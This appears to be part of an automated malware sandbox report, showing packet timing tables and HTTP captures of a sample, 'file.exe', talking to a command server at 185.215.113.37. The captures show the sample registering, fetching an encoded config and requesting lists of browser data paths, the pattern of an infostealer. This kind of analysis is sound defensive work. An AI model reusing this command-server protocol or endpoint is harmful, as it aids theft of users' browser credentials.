Oct 7, 2024 21:19:23.872653008 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.872663975 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.872677088 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.872700930 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:23.872735023 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:23.873138905 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.873152971 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.873187065 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:23.873199940 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:23.873220921 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.873234034 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.873243093 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.873260021 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.873274088 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:23.873274088 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.873287916 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.873297930 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.873306990 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:23.873310089 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.873327017 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.873327017 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:23.873341084 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.873344898 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:23.873354912 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.873364925 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:23.873367071 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.873378992 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.873389959 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.873389959 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:23.873399973 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.873404980 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:23.873413086 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.873423100 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.873433113 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.873435020 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:23.873457909 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:23.873466969 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:23.873948097 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.874059916 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:23.874288082 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:23.874356031 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:23.966223001 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:23.973756075 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:24.183413029 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:24.183429956 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:24.183454037 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:24.183471918 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:24.183481932 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:24.183487892 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:24.183492899 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:24.183505058 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:24.183517933 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:24.183525085 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:24.183538914 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:24.183562994 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:24.183578968 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:24.183589935 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:24.183623075 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:24.183746099 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:24.183757067 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:24.183765888 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:24.183777094 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:24.183784962 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:24.183788061 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:24.183820963 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:24.184197903 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:24.184253931 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:24.184256077 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:24.184269905 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:24.184309959 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:24.184350014 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:24.184360027 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:24.184370041 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:24.184381008 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:24.184397936 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:24.184412003 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:24.184433937 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:24.184734106 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:24.184782982 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:24.184873104 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:24.184884071 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:24.184892893 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:24.184902906 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:24.184912920 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:24.184921026 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:24.184967995 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:24.185012102 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:24.185025930 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:24.185036898 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:24.185046911 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:24.185055017 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:24.185059071 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:24.185072899 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:24.185077906 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:24.185102940 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:24.185112000 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:24.185250998 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:24.185262918 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:24.185272932 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:24.185292959 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:24.185301065 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:24.185305119 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:24.185317039 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:24.185322046 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:24.185329914 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:24.185344934 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:24.185374975 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:24.185592890 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:24.185610056 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:24.185623884 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:24.185633898 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:24.185642004 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:24.185643911 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:24.185667038 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:24.185688972 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:24.185858011 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:24.185870886 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:24.185882092 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:24.185889959 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:24.185899019 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:24.185906887 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:24.185916901 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:24.185930967 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:24.185942888 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:24.185945034 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:24.185952902 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:24.185962915 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:24.185971975 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:24.185981035 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:24.185983896 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:24.185993910 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:24.186002970 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:24.186003923 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:24.186017990 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:24.186047077 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:24.186638117 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:24.186650038 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:24.186659098 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:24.186671972 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:24.186682940 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:24.186686039 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:24.186692953 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:24.186703920 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:24.186708927 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:24.186716080 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:24.186723948 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:24.186727047 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:24.186738014 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:24.186748028 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:24.186748028 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:24.186759949 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:24.186769009 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:24.186769962 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:24.186779976 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:24.186790943 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:24.186790943 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:24.186822891 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:24.752907991 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:24.752943039 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:24.758601904 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:24.758621931 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:25.466526985 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:25.468060970 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:25.596985102 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:25.601799011 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:25.814349890 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:25.814369917 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:25.814380884 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:25.814436913 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:25.814491034 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:25.817003965 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:25.821841955 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:26.034904957 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:26.034971952 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:26.043185949 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:26.048496962 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:26.743031979 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:26.743135929 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:26.781091928 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:26.786673069 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:27.016259909 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:27.016318083 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:27.016339064 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:27.016381979 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:27.016443968 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:27.016572952 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:27.018404961 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:27.023247004 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:27.730252981 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:27.730329990 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:32.735416889 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:32.735536098 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:32.818017006 CEST	49730	80	192.168.2.4	185.215.113.37

HTTP Request Dependency Graph

185.215.113.37

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	185.215.113.37	80	6708	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 21:19:00.248884916 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Oct 7, 2024 21:19:00.951464891 CEST	203	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 19:19:00 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 7, 2024 21:19:00.953701973 CEST	411	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IJKKKFCFHCFIECBGDHID Host: 185.215.113.37 Content-Length: 210 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 4a 4b 4b 4b 46 43 46 48 43 46 49 45 43 42 47 44 48 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 39 39 43 32 32 45 33 39 33 37 30 33 33 30 30 34 35 32 34 30 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 4b 4b 46 43 46 48 43 46 49 45 43 42 47 44 48 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 4b 4b 46 43 46 48 43 46 49 45 43 42 47 44 48 49 44 2d 2d 0d 0a Data Ascii: ------IJKKKFCFHCFIECBGDHIDContent-Disposition: form-data; name="hwid"999C22E39370330045240------IJKKKFCFHCFIECBGDHIDContent-Disposition: form-data; name="build"doma------IJKKKFCFHCFIECBGDHID--
Oct 7, 2024 21:19:01.195508957 CEST	407	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 19:19:01 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4f 57 45 79 4d 54 67 31 4d 7a 64 6a 4d 57 46 6d 4e 57 59 7a 4d 32 4d 31 4f 54 68 6b 59 57 4d 32 59 54 51 32 5a 44 4e 68 4e 54 63 78 4e 32 46 6d 4d 47 49 7a 4e 44 64 6a 4e 47 45 78 59 54 6b 32 59 7a 51 77 4d 6d 4d 31 5a 6d 5a 6b 5a 47 5a 69 4e 44 63 77 4d 6a 4d 34 4d 6d 59 32 4d 6a 4d 79 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: OWEyMTg1MzdjMWFmNWYzM2M1OThkYWM2YTQ2ZDNhNTcxN2FmMGIzNDdjNGExYTk2YzQwMmM1ZmZkZGZiNDcwMjM4MmY2MjMyfHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Oct 7, 2024 21:19:01.196511984 CEST	469	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GDBKJDGIJECFIEBFIDHC Host: 185.215.113.37 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 44 42 4b 4a 44 47 49 4a 45 43 46 49 45 42 46 49 44 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 61 32 31 38 35 33 37 63 31 61 66 35 66 33 33 63 35 39 38 64 61 63 36 61 34 36 64 33 61 35 37 31 37 61 66 30 62 33 34 37 63 34 61 31 61 39 36 63 34 30 32 63 35 66 66 64 64 66 62 34 37 30 32 33 38 32 66 36 32 33 32 0d 0a 2d 2d 2d 2d 2d 2d 47 44 42 4b 4a 44 47 49 4a 45 43 46 49 45 42 46 49 44 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 47 44 42 4b 4a 44 47 49 4a 45 43 46 49 45 42 46 49 44 48 43 2d 2d 0d 0a Data Ascii: ------GDBKJDGIJECFIEBFIDHCContent-Disposition: form-data; name="token"9a218537c1af5f33c598dac6a46d3a5717af0b347c4a1a96c402c5ffddfb4702382f6232------GDBKJDGIJECFIEBFIDHCContent-Disposition: form-data; name="message"browsers------GDBKJDGIJECFIEBFIDHC--
Oct 7, 2024 21:19:01.413603067 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 19:19:01 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 1520 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 53 42 44 59 57 35 68 63 6e 6c 38 58 45 64 76 62 32 64 73 5a 56 78 44 61 48 4a 76 62 57 55 67 55 33 68 54 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 78 44 61 48 4a 76 62 57 6c 31 62 58 78 63 51 32 68 79 62 32 31 70 64 57 31 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 56 47 39 79 59 32 68 38 58 46 52 76 63 6d 4e 6f 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 4d 48 78 57 61 58 5a 68 62 47 52 70 66 46 78 57 61 58 5a 68 62 47 52 70 58 46 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8R29vZ2xlIENocm9tZSBDYW5hcnl8XEdvb2dsZVxDaHJvbWUgU3hTXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXxDaHJvbWl1bXxcQ2hyb21pdW1cVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8VG9yY2h8XFRvcmNoXFVzZXIgRGF0YXxjaHJvbWV8MHxWaXZhbGRpfFxWaXZhbGRpXFVzZXIgRGF0YXxjaHJvbWV8dml2YWxkaS5leGV8Q29tb2RvIERyYWdvbnxcQ29tb2RvXERyYWdvblxVc2VyIERhdGF8Y2hyb21lfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8Q29jQ29jfFxDb2NDb2NcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDZW50IEJyb3dzZXJ8XENlbnRCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8MHw3U3RhcnxcN1N0YXJcN1N0YXJcVXNlciBEYXRhfGNocm9tZXwwfENoZWRvdCBCcm93c2VyfFxDaGVkb3RcVXNlciBEYXRhfGNocm9tZXwwfE1pY3Jvc29mdCBFZGdlfFxNaWNyb3NvZnRcRWRnZVxVc2VyIERhdGF8Y2hyb21lfG1zZWRnZS5leGV8MzYwIEJyb3dzZXJ8XDM2MEJyb3dzZXJcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8UVFCcm93c2VyfFxUZW5jZW50XFFRQnJvd3Nl
Oct 7, 2024 21:19:01.413661957 CEST	512	IN	Data Raw: 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 51 33 4a 35 63 48 52 76 56 47 46 69 66 46 78 44 63 6e 6c 77 64 47 39 55 59 57 49 67 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 Data Ascii: clxVc2VyIERhdGF8Y2hyb21lfDB8Q3J5cHRvVGFifFxDcnlwdG9UYWIgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyb3dzZXIuZXhlfE9wZXJhIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE9wZXJhIEdYIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE1vemlsbGEgRml
Oct 7, 2024 21:19:01.414691925 CEST	468	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DHCBGDHIEBFHCBFHDHDH Host: 185.215.113.37 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 48 43 42 47 44 48 49 45 42 46 48 43 42 46 48 44 48 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 61 32 31 38 35 33 37 63 31 61 66 35 66 33 33 63 35 39 38 64 61 63 36 61 34 36 64 33 61 35 37 31 37 61 66 30 62 33 34 37 63 34 61 31 61 39 36 63 34 30 32 63 35 66 66 64 64 66 62 34 37 30 32 33 38 32 66 36 32 33 32 0d 0a 2d 2d 2d 2d 2d 2d 44 48 43 42 47 44 48 49 45 42 46 48 43 42 46 48 44 48 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 44 48 43 42 47 44 48 49 45 42 46 48 43 42 46 48 44 48 44 48 2d 2d 0d 0a Data Ascii: ------DHCBGDHIEBFHCBFHDHDHContent-Disposition: form-data; name="token"9a218537c1af5f33c598dac6a46d3a5717af0b347c4a1a96c402c5ffddfb4702382f6232------DHCBGDHIEBFHCBFHDHDHContent-Disposition: form-data; name="message"plugins------DHCBGDHIEBFHCBFHDHDH--
